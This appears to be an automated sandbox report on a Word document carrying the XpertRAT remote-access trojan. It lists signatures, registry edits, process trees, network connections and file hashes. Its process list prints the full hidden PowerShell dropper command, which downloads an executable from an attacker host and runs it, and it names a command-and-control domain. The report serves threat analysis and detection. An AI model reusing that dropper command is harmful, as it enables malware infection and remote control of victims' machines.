Malware Analysis Report

2024-10-19 07:37

Sample ID 210930-sf7f3sabam
Target Payment_Swift 20210930.doc
SHA256 39c889d91c4bc0fe97e2c565d3a0e103372ba15f988872d049b9277473a87e24
Tags
xpertrat test rat
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V6

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

39c889d91c4bc0fe97e2c565d3a0e103372ba15f988872d049b9277473a87e24

Threat Level: Known bad

The file Payment_Swift 20210930.doc was found to be: Known bad.

Malicious Activity Summary

xpertrat test rat

XpertRAT

XpertRAT Core Payload

Process spawned unexpected child process

Blocklisted process makes network request

Downloads MZ/PE file

Executes dropped EXE

Loads dropped DLL

Enumerates physical storage devices

Office loads VBA resources, possible macro or embedded object present

Enumerates system info in registry

Suspicious use of WriteProcessMemory

Modifies Internet Explorer settings

Suspicious use of AdjustPrivilegeToken

Checks processor information in registry

Suspicious use of SetWindowsHookEx

NTFS ADS

Suspicious behavior: AddClipboardFormatListener

Suspicious behavior: EnumeratesProcesses

Modifies registry class

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2021-09-30 15:05

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2021-09-30 15:05

Reported

2021-09-30 15:08

Platform

win7v20210408

Max time kernel

14s

Max time network

186s

Command Line

"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Payment_Swift 20210930.doc"

Signatures

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE is not expected to spawn this process N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
Parent C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE is not expected to spawn this process N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
Parent C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE is not expected to spawn this process N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE

XpertRAT

rat xpertrat

XpertRAT Core Payload

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Downloads MZ/PE file

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Roaming\EXCEL.exe N/A

Loads dropped DLL

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Enumerates physical storage devices

Office loads VBA resources, possible macro or embedded object present

Modifies Internet Explorer settings

adware spyware
Description Indicator Process Target
Set value (int) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (int) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Toolbar C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Roaming\EXCEL.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1832 wrote to memory of 1812 N/A C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1832 wrote to memory of 1812 N/A C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1832 wrote to memory of 1812 N/A C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1832 wrote to memory of 1812 N/A C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1832 wrote to memory of 1788 N/A C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1832 wrote to memory of 1788 N/A C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1832 wrote to memory of 1788 N/A C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1832 wrote to memory of 1788 N/A C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1812 wrote to memory of 1728 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Roaming\EXCEL.exe
PID 1812 wrote to memory of 1728 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Roaming\EXCEL.exe
PID 1812 wrote to memory of 1728 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Roaming\EXCEL.exe
PID 1812 wrote to memory of 1728 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Roaming\EXCEL.exe
PID 1812 wrote to memory of 1728 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Roaming\EXCEL.exe
PID 1812 wrote to memory of 1728 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Roaming\EXCEL.exe
PID 1812 wrote to memory of 1728 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Roaming\EXCEL.exe
PID 1832 wrote to memory of 1872 N/A C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1832 wrote to memory of 1872 N/A C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1832 wrote to memory of 1872 N/A C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1832 wrote to memory of 1872 N/A C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1728 wrote to memory of 1988 N/A C:\Users\Admin\AppData\Roaming\EXCEL.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1728 wrote to memory of 1988 N/A C:\Users\Admin\AppData\Roaming\EXCEL.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1728 wrote to memory of 1988 N/A C:\Users\Admin\AppData\Roaming\EXCEL.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1728 wrote to memory of 1988 N/A C:\Users\Admin\AppData\Roaming\EXCEL.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Processes

C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE

"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Payment_Swift 20210930.doc"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command "(New-Object System.Net.WebClient).DownloadFile('httP://avira.ydns.eu/EXCEL.exe','C:\Users\Admin\AppData\Roaming\EXCEL.exe');Start-Process 'C:\Users\Admin\AppData\Roaming\EXCEL.exe'"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command "(New-Object System.Net.WebClient).DownloadFile('httP://avira.ydns.eu/EXCEL.exe','C:\Users\Admin\AppData\Roaming\EXCEL.exe');Start-Process 'C:\Users\Admin\AppData\Roaming\EXCEL.exe'"

C:\Users\Admin\AppData\Roaming\EXCEL.exe

"C:\Users\Admin\AppData\Roaming\EXCEL.exe"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command "(New-Object System.Net.WebClient).DownloadFile('httP://avira.ydns.eu/EXCEL.exe','C:\Users\Admin\AppData\Roaming\EXCEL.exe');Start-Process 'C:\Users\Admin\AppData\Roaming\EXCEL.exe'"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Test-NetConnection -TraceRoute twitch.com

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Start-Sleep -s 5

C:\Users\Admin\AppData\Roaming\EXCEL.exe

"C:\Users\Admin\AppData\Roaming\EXCEL.exe"

C:\Users\Admin\AppData\Roaming\EXCEL.exe

"C:\Users\Admin\AppData\Roaming\EXCEL.exe"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Test-NetConnection -TraceRoute twitch.com

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Test-NetConnection -TraceRoute twitch.com

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Start-Sleep -s 5

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Start-Sleep -s 5

C:\Users\Admin\AppData\Local\Temp\EXCEL.exe

C:\Users\Admin\AppData\Local\Temp\EXCEL.exe

C:\Users\Admin\AppData\Local\Temp\EXCEL.exe

C:\Users\Admin\AppData\Local\Temp\EXCEL.exe

C:\Users\Admin\AppData\Local\Temp\EXCEL.exe

C:\Users\Admin\AppData\Local\Temp\EXCEL.exe

C:\Users\Admin\AppData\Local\Temp\EXCEL.exe

C:\Users\Admin\AppData\Local\Temp\EXCEL.exe

C:\Program Files (x86)\Internet Explorer\iexplore.exe

C:\Users\Admin\AppData\Local\Temp\EXCEL.exe

C:\Program Files (x86)\Internet Explorer\iexplore.exe

C:\Users\Admin\AppData\Local\Temp\EXCEL.exe

C:\Program Files (x86)\Internet Explorer\iexplore.exe

C:\Users\Admin\AppData\Local\Temp\EXCEL.exe

C:\Program Files (x86)\Internet Explorer\iexplore.exe

C:\Users\Admin\AppData\Local\Temp\EXCEL.exe

C:\Windows\splwow64.exe

C:\Windows\splwow64.exe 12288

C:\Program Files (x86)\Internet Explorer\iexplore.exe

C:\Users\Admin\AppData\Local\Temp\EXCEL.exe

C:\Program Files (x86)\Internet Explorer\iexplore.exe

C:\Users\Admin\AppData\Local\Temp\EXCEL.exe

C:\Windows\SysWOW64\notepad.exe

notepad.exe

Network

Country Destination Domain Proto
US 8.8.8.8:53 avira.ydns.eu udp
US 192.3.194.242:80 avira.ydns.eu tcp
US 192.3.194.242:80 avira.ydns.eu tcp
US 8.8.8.8:53 kapasky-antivirus.firewall-gateway.net udp
FR 91.121.250.249:4000 kapasky-antivirus.firewall-gateway.net tcp
FR 91.121.250.249:4000 kapasky-antivirus.firewall-gateway.net tcp
FR 91.121.250.249:4000 kapasky-antivirus.firewall-gateway.net tcp
FR 91.121.250.249:4000 kapasky-antivirus.firewall-gateway.net tcp
FR 91.121.250.249:4000 kapasky-antivirus.firewall-gateway.net tcp
FR 91.121.250.249:4000 kapasky-antivirus.firewall-gateway.net tcp
FR 91.121.250.249:4000 kapasky-antivirus.firewall-gateway.net tcp
FR 91.121.250.249:4000 kapasky-antivirus.firewall-gateway.net tcp
FR 91.121.250.249:4000 kapasky-antivirus.firewall-gateway.net tcp
FR 91.121.250.249:4000 kapasky-antivirus.firewall-gateway.net tcp
FR 91.121.250.249:4000 kapasky-antivirus.firewall-gateway.net tcp
FR 91.121.250.249:4000 kapasky-antivirus.firewall-gateway.net tcp
US 8.8.8.8:53 kapasky-antivirus.firewall-gateway.net udp
FR 91.121.250.249:4000 kapasky-antivirus.firewall-gateway.net tcp
FR 91.121.250.249:4000 kapasky-antivirus.firewall-gateway.net tcp
FR 91.121.250.249:4000 kapasky-antivirus.firewall-gateway.net tcp
FR 91.121.250.249:4000 kapasky-antivirus.firewall-gateway.net tcp
FR 91.121.250.249:4000 kapasky-antivirus.firewall-gateway.net tcp
FR 91.121.250.249:4000 kapasky-antivirus.firewall-gateway.net tcp
FR 91.121.250.249:4000 kapasky-antivirus.firewall-gateway.net tcp
FR 91.121.250.249:4000 kapasky-antivirus.firewall-gateway.net tcp

Files

memory/1832-59-0x0000000072FA1000-0x0000000072FA4000-memory.dmp

memory/1832-60-0x0000000070A21000-0x0000000070A23000-memory.dmp

memory/1832-61-0x000000005FFF0000-0x0000000060000000-memory.dmp

memory/1832-62-0x00000000762C1000-0x00000000762C3000-memory.dmp

memory/1812-63-0x0000000000000000-mapping.dmp

memory/1812-65-0x00000000005D0000-0x00000000005D1000-memory.dmp

memory/1812-66-0x00000000048E0000-0x00000000048E1000-memory.dmp

memory/1812-67-0x00000000048A0000-0x00000000048A1000-memory.dmp

memory/1812-68-0x00000000048A2000-0x00000000048A3000-memory.dmp

memory/1812-69-0x0000000002590000-0x0000000002591000-memory.dmp

memory/1812-70-0x0000000002750000-0x0000000002751000-memory.dmp

memory/1812-73-0x0000000005650000-0x0000000005651000-memory.dmp

memory/1812-75-0x000000007EF30000-0x000000007EF31000-memory.dmp

memory/1812-79-0x0000000006050000-0x0000000006051000-memory.dmp

memory/1812-80-0x0000000006240000-0x0000000006241000-memory.dmp

memory/1812-87-0x00000000061C0000-0x00000000061C1000-memory.dmp

memory/1812-88-0x00000000062D0000-0x00000000062D1000-memory.dmp

memory/1788-89-0x0000000000000000-mapping.dmp

\Users\Admin\AppData\Roaming\EXCEL.exe

MD5 cb12b24b0f69225693168e9c35761a1b
SHA1 0f68f676d76e3546d7d625cdb14f0947c59beff5
SHA256 c830683f700f311fe3d533d849cf045b1cbed5ff76debaa6c3dd8f71c0daa535
SHA512 9d53b958b83d8599d0eb1ee4766f03a735cd557290921ded296513e34fd2886ff78382e9a1616613c566d0be9cd5c381fa4de6b86a921d0a33aac1c499d00c65

memory/1728-92-0x0000000000000000-mapping.dmp

memory/1872-93-0x0000000000000000-mapping.dmp

C:\Users\Admin\AppData\Roaming\EXCEL.exe

MD5 cb12b24b0f69225693168e9c35761a1b
SHA1 0f68f676d76e3546d7d625cdb14f0947c59beff5
SHA256 c830683f700f311fe3d533d849cf045b1cbed5ff76debaa6c3dd8f71c0daa535
SHA512 9d53b958b83d8599d0eb1ee4766f03a735cd557290921ded296513e34fd2886ff78382e9a1616613c566d0be9cd5c381fa4de6b86a921d0a33aac1c499d00c65

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

MD5 f08dc1f7da30f60421521c6a7b124111
SHA1 fa48e101a185d6aba734c13298ef8f4a64c9e91d
SHA256 914aea2af54e919af7b6c48d546cc5f49d7c115e53ed0c53a10b6f041846e3a1
SHA512 1cfe10c1003b9201707135f3e3567485bc714a13d9e08d94d97c22ec1cb813b63f0559f96aa0b04648b251a5478d4ef80f58334956e66e198290e06d1f00c36a

C:\Users\Admin\AppData\Roaming\EXCEL.exe

MD5 cb12b24b0f69225693168e9c35761a1b
SHA1 0f68f676d76e3546d7d625cdb14f0947c59beff5
SHA256 c830683f700f311fe3d533d849cf045b1cbed5ff76debaa6c3dd8f71c0daa535
SHA512 9d53b958b83d8599d0eb1ee4766f03a735cd557290921ded296513e34fd2886ff78382e9a1616613c566d0be9cd5c381fa4de6b86a921d0a33aac1c499d00c65

memory/1728-98-0x0000000001110000-0x0000000001111000-memory.dmp

memory/1788-102-0x0000000004AC0000-0x0000000004AC1000-memory.dmp

memory/1788-101-0x00000000023B0000-0x00000000023B1000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

MD5 f08dc1f7da30f60421521c6a7b124111
SHA1 fa48e101a185d6aba734c13298ef8f4a64c9e91d
SHA256 914aea2af54e919af7b6c48d546cc5f49d7c115e53ed0c53a10b6f041846e3a1
SHA512 1cfe10c1003b9201707135f3e3567485bc714a13d9e08d94d97c22ec1cb813b63f0559f96aa0b04648b251a5478d4ef80f58334956e66e198290e06d1f00c36a

memory/1788-105-0x0000000004A80000-0x0000000004A81000-memory.dmp

memory/1788-107-0x0000000004A82000-0x0000000004A83000-memory.dmp

memory/1988-106-0x0000000000000000-mapping.dmp

memory/1728-103-0x0000000004AA0000-0x0000000004AA1000-memory.dmp

memory/1788-109-0x0000000004810000-0x0000000004811000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

MD5 f08dc1f7da30f60421521c6a7b124111
SHA1 fa48e101a185d6aba734c13298ef8f4a64c9e91d
SHA256 914aea2af54e919af7b6c48d546cc5f49d7c115e53ed0c53a10b6f041846e3a1
SHA512 1cfe10c1003b9201707135f3e3567485bc714a13d9e08d94d97c22ec1cb813b63f0559f96aa0b04648b251a5478d4ef80f58334956e66e198290e06d1f00c36a

memory/1788-113-0x0000000005400000-0x0000000005401000-memory.dmp

memory/1988-118-0x0000000004B50000-0x0000000004B51000-memory.dmp

memory/1988-119-0x0000000004B52000-0x0000000004B53000-memory.dmp

memory/1872-120-0x0000000002030000-0x0000000002C7A000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_7bc5ca8a-50eb-4a28-856a-31595e01418a

MD5 597009ea0430a463753e0f5b1d1a249e
SHA1 4e38b8bb65ecbd5c9f0d3d8c47f7caba33de6c62
SHA256 3fd2a8217a845c43dbc0dc206c28be81d2687aa9ba62019d905aef10cfaec45d
SHA512 5d722fa908e64575b2497c60d142e182011a10c6ed33813b3b4796b3147ece1bc96938518b4c8911a1bac3b7560528ebe3e8e754c11015516d335df5d7c6871d

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_32b21970-4839-4ac5-a2ad-cc925aecc47c

MD5 a725bb9fafcf91f3c6b7861a2bde6db2
SHA1 8bb5b83f3cc37ff1e5ea4f02acae38e72364c114
SHA256 51651f27f54c7261887037aa1de4eff0a26c6807906dfc34a15cd5a0b58a8431
SHA512 1c4b21dd5660bfec8347257bb3da64681b0a97c427790d9ab3484f687dac032bcff0e07876635953697b00cf83e7d37f97c44e0219627fd0533f60ed3024b97e

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_1abda922-9e0e-4200-89d0-60796083afcc

MD5 be4d72095faf84233ac17b94744f7084
SHA1 cc78ce5b9c57573bd214a8f423ee622b00ebb1ec
SHA256 b0d72c5c22e57913476ac8fc686a4593f137c6667d5094522c0a0685dabd7adc
SHA512 43856e9b1032b8690ceea810c931bed3655e9190414bb220fb6afc136f31b8335e07604dffb28405d4006f266a54cff424c527d29924b1b732c9647a3252b097

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_c9b427a0-6073-4eb8-9b09-f8e4712d7ab5

MD5 5e3c7184a75d42dda1a83606a45001d8
SHA1 94ca15637721d88f30eb4b6220b805c5be0360ed
SHA256 8278033a65d1ff48be4d86e11f87930d187692f59f8bf2f0a9d170de285afb59
SHA512 fae99b6e9b106e0f1c30aa4082b25ae1ad643455c1295c2c16ad534e3e611b9b08492353ffe1af1cfdddc9b2b7c330747a64012c45e62b8f4a4982dcc214e05b

memory/1788-131-0x0000000006170000-0x0000000006171000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_10a2719f-ab19-452c-9537-375fecbe5f96

MD5 df44874327d79bd75e4264cb8dc01811
SHA1 1396b06debed65ea93c24998d244edebd3c0209d
SHA256 55de642c5c9e436ec01c57004dae797022442c3245daf7162d19a5585f221181
SHA512 95dc9298b8db059bbe746f67e6a7f8515781c7053cc60c01532e47623a996be7e1bd23d1bd8f5f2045adff27454f44930d503c15b695690088841cedbd2a06c3

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_60554f64-a36e-4439-8748-76f202d7cb75

MD5 02ff38ac870de39782aeee04d7b48231
SHA1 0390d39fa216c9b0ecdb38238304e518fb2b5095
SHA256 fbd66a9baf753db31b8de23f2d51b67f8676687503653103080c45b16f1dc876
SHA512 24a1ff76ee42ff7a5ea42843928c4df07b06178f7781cd840e1e086e88735d81506eb67259ff1e6ce5aaa7c5baea03886da265eb7e025ff4dc4c4b5f8cd3e341

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_bd47eb21-a96b-4ccd-99d7-0d9f3f6c10b6

MD5 75a8da7754349b38d64c87c938545b1b
SHA1 5c28c257d51f1c1587e29164cc03ea880c21b417
SHA256 bf08151c174b5d00c9dbc7907b2c6a01b4be76bfa3afce1e8bd98a04ad833c96
SHA512 798797bc74c56c874e9a5fdcb0157c04e37a1b3cce285ef064b01bceef8cec45f11a5198918c6c647220b62883606b5e12e3cca3ea369f3a66e69dea6e15f643

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_6ccb18ff-7a22-469e-90e7-ccc861e1432b

MD5 b6d38f250ccc9003dd70efd3b778117f
SHA1 d5a17c02cac698d4f0a4a9b7d71db2aa19e3f18a
SHA256 4de9d7b5ccab7b67ca8efc83084c7ee6e5e872b7216ed4683bc5da950bf41265
SHA512 67d8195836b7f280d3f9219fd0f58276342e55d5dfdd8a4c54355030d96685d73f1b2b6da0eb39322ec7c3a1d1c5ef06b52d22646cea30a96f822de1800d31e9

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex

MD5 d3c6574ac38086155dad25af91a896b0
SHA1 79566f5519a42d646ae1f83aa0d6a1b5e3550f0f
SHA256 10e6353b71008ad26d8441c129faeed361f4d4eaff6edbcd9b3719ebd13a9a7a
SHA512 7624af5b026d9952e94702d2e3fe9c4a6db5523a1f04bc60ac5f5ccbb10a50f4fe197b62a6f63aada59feeb85f4910145e815b5e47346220d911a66e42fe4497

memory/1988-133-0x0000000005730000-0x0000000005731000-memory.dmp

memory/1988-136-0x0000000005790000-0x0000000005791000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex

MD5 5628e5a7718b1c2c807a0fdf13a5fd6c
SHA1 75c97efb0def27e53c5702236b82e5d04a65f9de
SHA256 56e78e0a465ba1a33cb526b7e49e4c9afd5a30ec626e706328a04a3047925d68
SHA512 85ed0d1f6877e6192c79a2c0f29962d968fef434f67edf18f858e6e7ab3ad393af8f7d71ba5081fae41bac3dc2fce5b4911deb3a78fff4806c2ff7e899f1c508

memory/1988-149-0x00000000058F0000-0x00000000058F1000-memory.dmp

memory/1988-150-0x0000000005940000-0x0000000005941000-memory.dmp

memory/1928-152-0x0000000000000000-mapping.dmp

memory/1788-153-0x00000000062E0000-0x00000000062E1000-memory.dmp

memory/1320-157-0x0000000000000000-mapping.dmp

\Users\Admin\AppData\Roaming\EXCEL.exe

MD5 cb12b24b0f69225693168e9c35761a1b
SHA1 0f68f676d76e3546d7d625cdb14f0947c59beff5
SHA256 c830683f700f311fe3d533d849cf045b1cbed5ff76debaa6c3dd8f71c0daa535
SHA512 9d53b958b83d8599d0eb1ee4766f03a735cd557290921ded296513e34fd2886ff78382e9a1616613c566d0be9cd5c381fa4de6b86a921d0a33aac1c499d00c65

C:\Users\Admin\AppData\Roaming\EXCEL.exe

MD5 cb12b24b0f69225693168e9c35761a1b
SHA1 0f68f676d76e3546d7d625cdb14f0947c59beff5
SHA256 c830683f700f311fe3d533d849cf045b1cbed5ff76debaa6c3dd8f71c0daa535
SHA512 9d53b958b83d8599d0eb1ee4766f03a735cd557290921ded296513e34fd2886ff78382e9a1616613c566d0be9cd5c381fa4de6b86a921d0a33aac1c499d00c65

memory/1384-160-0x0000000000000000-mapping.dmp

C:\Users\Admin\AppData\Roaming\EXCEL.exe

MD5 cb12b24b0f69225693168e9c35761a1b
SHA1 0f68f676d76e3546d7d625cdb14f0947c59beff5
SHA256 c830683f700f311fe3d533d849cf045b1cbed5ff76debaa6c3dd8f71c0daa535
SHA512 9d53b958b83d8599d0eb1ee4766f03a735cd557290921ded296513e34fd2886ff78382e9a1616613c566d0be9cd5c381fa4de6b86a921d0a33aac1c499d00c65

\Users\Admin\AppData\Roaming\EXCEL.exe

MD5 cb12b24b0f69225693168e9c35761a1b
SHA1 0f68f676d76e3546d7d625cdb14f0947c59beff5
SHA256 c830683f700f311fe3d533d849cf045b1cbed5ff76debaa6c3dd8f71c0daa535
SHA512 9d53b958b83d8599d0eb1ee4766f03a735cd557290921ded296513e34fd2886ff78382e9a1616613c566d0be9cd5c381fa4de6b86a921d0a33aac1c499d00c65

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

MD5 f08dc1f7da30f60421521c6a7b124111
SHA1 fa48e101a185d6aba734c13298ef8f4a64c9e91d
SHA256 914aea2af54e919af7b6c48d546cc5f49d7c115e53ed0c53a10b6f041846e3a1
SHA512 1cfe10c1003b9201707135f3e3567485bc714a13d9e08d94d97c22ec1cb813b63f0559f96aa0b04648b251a5478d4ef80f58334956e66e198290e06d1f00c36a

memory/1648-171-0x0000000000000000-mapping.dmp

memory/1132-169-0x0000000000000000-mapping.dmp

\??\PIPE\srvsvc

MD5 d41d8cd98f00b204e9800998ecf8427e
SHA1 da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256 e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512 cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

MD5 f08dc1f7da30f60421521c6a7b124111
